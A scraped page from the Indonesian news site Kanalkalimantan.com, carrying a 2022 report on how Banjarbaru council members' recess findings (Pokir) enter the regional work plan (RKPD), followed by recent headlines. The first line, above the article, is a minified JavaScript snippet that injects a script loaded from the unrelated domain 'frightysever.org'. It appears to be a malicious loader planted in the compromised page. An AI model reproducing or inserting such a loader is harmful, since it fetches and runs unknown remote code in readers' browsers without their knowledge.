(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

Pokir Anggota Dewan Masuk RKPD


KANALKALIMANTAN.COM, BANJARBARU – Wakil Ketua DPRD Kota Banjarbaru Napsiani Samandi mengatakan hasil reses anggota dewan menjadi pokok pikiran (Pokir) yang masuk dalam Rencana Kerja Pemerintah Daerah (RKPD).

“Setiap anggota dewan melakukan reses menyerap aspirasi masyarakat di daerah pemilihan. Hasil akhirnya yang akan menjadi Pokir dan dimasukan dalam RKPD,” ujarnya di Banjarbaru, Kamis (18/8/2022).

Salah satu mekanisme yang digunakan DPRD Banjarbaru untuk menyusun pokok pikiran yakni melalui reses setiap anggota dewan melalui kunjungan yang dilakukan di daerah pemilihan.

Menurut Napsiani, kegiatan menjaring aspirasi warga di Dapil dilengkapi laporan reses yang di dalamnya tertuang usulan Pokir yang disampaikan pada rapat paripurna DPRD.

 

 

Baca juga: Belum Ada Kesepakatan, Organda Banjarbaru Larang BRT Beroperasi di Koridor 2

“Sesuai Permendagri 86 tahun 2017 pasal 178 nomor 2 menyebutkan Pokir DPRD, diselaraskan dengan sasaran dan prioritas pembangunan, serta ketersediaan kapasitas riil anggaran,” ungkapnya.

Hasil reses yang jadi Pokir DPRD diwujudkan dalam bentuk program dan kegiatan yang dimasukkan ke dalam APBD kemudian dilaksanakan SKPD.

Tidak semua aspirasi atau keinginan masyarakat dapat direalisasikan karena hasil reses disampaikan kepada Pemko yang menyinergikan dengan hasil rapat Musrenbang.

“Musrenbang juga berjenjang mulai dari tingkat kelurahan, kecamatan hingga tingkat kota yang disesuaikan dengan visi misi kepala daerah hingga masuk dalam RKPD,” ungkapnya.

Pencapaian target kinerja pada setiap program dan kegiatan merupakan tanggung jawab SKPD bersangkutan yang ditetapkan kepala daerah dalam dokumen rencana tahunan.

“Artinya, pokir DPRD tercantum dalam peraturan kepala daerah tentang RKPD, sehingga pencapaian target merupakan tanggung jawab OPD atau SKPD sebagai bagian dari eksekutif atau pemerintah,” katanya.

Baca juga: Jumpa PMR Kalsel Terbuka, Diikuti 600 Peserta Wira dan Madya Kalsel-Teng 

Pokir sering dipahami keliru karena tidak membaca aturan dan kurangnya informasi terkait peran dan fungsi anggota dewan dalam pengalokasian sumber daya pada anggaran belanja dalam APBD. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.